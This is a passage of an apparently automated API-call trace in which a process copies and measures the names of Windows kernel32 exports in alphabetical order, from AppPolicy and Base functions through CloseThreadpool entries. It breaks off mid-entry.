lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0127.356] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0127.356] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0127.356] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0127.356] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0127.356] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0127.356] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0127.357] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0127.357] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0127.357] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0127.357] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0127.357] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0127.357] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0127.357] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0127.357] lstrlenA (lpString="BACKUPREAD") returned 10 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0127.357] lstrlenA (lpString="BACKUPSEEK") returned 10 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0127.357] lstrlenA (lpString="BACKUPWRITE") returned 11 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0127.357] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0127.357] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0127.357] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0127.357] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0127.357] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0127.357] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0127.357] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0127.357] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0127.358] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0127.358] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0127.358] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0127.358] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0127.358] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0127.358] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0127.358] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0127.358] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0127.358] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0127.358] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0127.358] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0127.358] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0127.358] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0127.358] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0127.358] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0127.358] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0127.358] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0127.358] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0127.359] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0127.359] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0127.359] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0127.359] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0127.359] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0127.359] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0127.359] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0127.359] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0127.359] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0127.359] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0127.359] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0127.359] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0127.359] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0127.359] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0127.359] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0127.359] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0127.359] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0127.359] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0127.360] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0127.360] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0127.360] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0127.360] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0127.360] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0127.360] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0127.360] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0127.360] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0127.360] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0127.360] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0127.360] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0127.360] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0127.360] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0127.360] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0127.360] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0127.360] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0127.360] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0127.360] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0127.360] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0127.361] lstrlenA (lpString="BEEP") returned 4 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0127.361] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0127.361] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0127.361] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0127.361] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0127.361] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0127.361] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0127.361] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0127.361] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0127.361] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0127.361] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0127.361] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0127.361] lstrlenA (lpString="CANCELIO") returned 8 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0127.361] lstrlenA (lpString="CANCELIOEX") returned 10 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0127.361] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0127.361] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0127.362] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0127.362] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0127.362] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0127.362] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0127.362] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0127.362] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0127.362] lstrlenA (lpString="CHECKELEVATION") returned 14 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0127.362] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0127.362] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0127.362] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0127.362] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0127.362] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0127.362] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0127.362] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0127.362] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0127.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0127.362] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0127.363] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0127.363] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0127.363] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0127.363] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0127.363] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0127.363] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0127.363] lstrlenA (lpString="CLOSESTATE") returned 10 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0127.363] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0127.363] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0127.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: 